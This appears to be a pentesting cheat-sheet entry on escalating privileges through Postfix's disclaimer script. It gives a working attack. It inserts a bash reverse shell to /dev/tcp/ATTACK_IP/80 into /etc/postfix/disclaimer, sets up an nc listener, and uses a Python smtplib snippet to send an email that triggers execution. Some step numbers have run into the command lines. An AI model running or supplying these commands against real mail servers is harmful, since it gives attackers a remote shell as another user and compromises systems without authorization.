Postfix Privilege Escalation
Requirements:
1) Check which user executes code from the disclaimer file (to get the information of the user we are going to compromise)
cat /etc/postfix/master.cf | grep disclaimer2) Edit the disclaimer file by inserting a reverse shell
nano /etc/postfix/disclaimer#!/bin/bash
# Localize these.
bash -c 'bash -i >& /dev/tcp/ATTACK_IP/80 0>&1'3) Setup listener
sudo rlwrap nc -lvnp 804) Send an email to the SMTP server to force the disclaimer file to execute our code
import smtplib
server = smtplib.SMTP("localhost",25)
server.ehlo()
server.sendmail("a@b.c","a@b.c","Hello")
server.quit()Last updated